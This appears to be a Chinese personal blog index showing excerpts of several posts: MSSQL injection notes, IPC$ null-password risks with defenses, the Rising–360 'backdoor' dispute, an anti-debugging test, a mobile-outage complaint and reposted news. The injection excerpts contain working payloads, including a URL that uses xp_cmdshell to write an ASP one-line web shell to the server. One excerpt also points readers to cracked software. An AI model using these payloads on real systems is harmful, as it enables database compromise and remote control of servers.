我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！

//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//检测是否有读取某数据库的权限

查看更多...

本软件制作于2005年


软件不再提供注册，如有需要，请在网上查找破解版！

查看更多...

软件制作于：2001年

啊D网络工具包 是一个网络测试工具，但有一定的危险性，请使用者必须在中国法律容许范围内使用本软件，如超出中国法律容许范围使用软件造成的后果由使用者承担！

本软件不会收费，将一直免费下去！

查看更多...

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。简单点说就是通过你的系统帐号和密码登陆你的系统的一个通道！而 IPC$ 并不算是一个漏洞，但因一般电脑用户设置系统的密码为空，这就成为一个可给利用的漏洞了！别人用管理员权限的帐号和空密码登陆你的系统后，别人就可以开共享，执行命令、程序、木马，还可以删除你的系统文件，危险性极大！

怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码，而密码不能太简单！这样，别人就扫描不出你的密码！当然要你记得住，如果自己都记不住那就。。。。
请加一个防火墙，把IPC相关的端口禁止外网访问！
端口如下：

查看更多...

1、   用^转义字符来写ASP(一句话木马)文件的方法:
?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- 

?   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、   显示SQL系统版本： 
?   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) 

查看更多...

无知瑞星把杀木马利器当成"360后门"原文网址：http://www.oeeee.com/a/20100205/845185.html

我不知道 360的工程师是傻的很天真，还是装傻,没人说你的驱动不强，没人说你的驱动不能杀流氓软件，但问题不在以你的驱动强不强和是不是后门，而是 360 自己制造出来的“武器”能给坏人利用，没有做安全验证，导致普通用户数据有可能会给破坏,在很低的权限下做一些管理权限才能做的事！

做一个比喻，或许不太懂电脑的人会容易明白一些！
美国军事技术很强，有很强的无人机,能带上核弹和飞机太炮(夸大一下他的技术),能在美国遥控这架飞机攻击别的国家，但美国老有一样事情做的比较傻B，就是遥控信号没有加密，拉灯也能遥控这架飞机，还攻击美国人，美国人大骂：“奶奶的美军真是SB，给别人拿了美国人的武器攻击自己，真是SB到极点！", 而美国军官还是和美国人说:"我们的飞机是最强的，说我的武器不强的是SB，不要听他们的，哈哈~~~ ",最后美国老倒了.........

查看更多...

前段时间 360曝 瑞星杀毒软件有本地提权问题，最近瑞星也曝360“后门”漏洞！
360还发声明称将就"后门技术"事件起诉瑞星

瑞星网的专题报导 360 “后门”提权，还有视频
http://www.rising.com.cn/2010/360/

查看更多...

    转帖：
      曾几何时，我徘徊在了调试与反调试的地平线上。 调试与反调试、反反调试是永远存在的问题，现在的大多数软件也加了反调试功能(尤其是网游)，保护其不被调试破解。
    调试大家都知道有很多这方面的工具，如OD、CE、ICE...，反调试大家也知道有很多种方法，如自己加代码实现、加壳等，反反调试...
      今天做了一个小程序，采用了19种方式来检测自己是否被调试、下断等，这只是一个小测试，没有加入驱动和hook等乱七八糟的东西，纯以代码实现。有兴趣的朋友可以帮忙测试下。好了，废话到此为止，我们来看代码：(代码随便写的，如有BUG请勿取笑)


unit Unit1;

查看更多...

晕的是，我家除了我的电话有问题，别的电话都正常，我打 10086 一直忙音，打13800138000，说我余额还有85块，想转人工，说话务员忙！

之后我就准备充值看看，发现6，7个人在充值，我说今天生意很好！ 我和老板说充值，老板和我说，充值故障不能充，有一个直截买充值卡来试，说无法充值，后来几个人都说他的也提示没钱，才知道移动出了问题！

移动真垃圾，前段时间，还GPRS上网故障，又说抢修，现在又电话出故障，汗，想投诉他，10086电话都打不通! 

查看更多...

在QQ空间里出现一些留言，说我入侵他电脑，还说要把我IP和QQ发到天涯上！
我就觉得奇怪，我N久没搞个什么人的电脑，我也没这么有空去骚扰别人！不知怎么的，老说我攻击他！
在些说明一下，我没有攻击什么人，如果有问题，被攻击的人完全可以报警！

QQ空间留言如下：

留言时间： 2009年04月29日 22点08分  

查看更多...

冯军：有钱买股票也别买法国货 爱国者拒绝外资投资
http://finance.baidu.com/2009-02-27/115088116.html

　　和讯消息 2月27日，全国政协委员、北京华旗数码科技有限公司总裁冯军做客和讯领袖对话第33期，也是和讯网“问路中国经济”两会系列访谈第1期，与和讯网友交流他的两会提案及“爱国者”品牌的成功之道。以下为部分访谈实录。[进入访谈间][我要提问]

　　和讯网：支持国产没有错，但国产的质量、品牌要和国外品牌要有一拼。

查看更多...

    2008年10月18日，一个普通的日子，但对北京东方微点公司来说，却具有特别意义。 

　　这一天，员工们欣喜地传阅着一封来自北京奥运会开闭幕式运营中心的感谢信。这封并不长的感谢信指出，北京奥运会开闭幕式运营中心自使用能有效防范新病毒和未知病毒的微点主动防御软件以来，中心网络信息系统成功阻止了黑客和各种病毒对运营中心数百台电脑的攻击和入侵，从未发生过开闭幕式有关方案等各种信息泄密事件。“微点主动防御软件作为北京奥运会开闭幕式运营中心唯一使用的反病毒软件，为保障开闭幕式运营中心网络信息系统的安全高效运行和奥运会、残奥会开闭幕式各项工作的顺利进行，作出了突出贡献”。 

　　读着感谢信，手捧北京奥组委颁发的“突出贡献”纪念证书，刘旭，这位著名反病毒专家，热泪长流。微点主动防御软件在北京奥运会开闭幕式运营中心的应用，标志着我国自主研发的主动防御计算机病毒技术，成功经受了北京奥运会、残奥会的重大考验,打了一场漂亮的信息安全主动防御战。但是，外人难以想像的是，微点公司是在背负着一个巨大“黑锅”的压力下，凭着独有的创新技术，赢得了北京奥组委对微点主动防御软件的认可。 

　　“这荣誉来的太心酸，这自豪来的太不容易。”记者昨日采访世界首套主动防御软件———微点软件的创新历程时，刘旭如此对记者说。 

查看更多...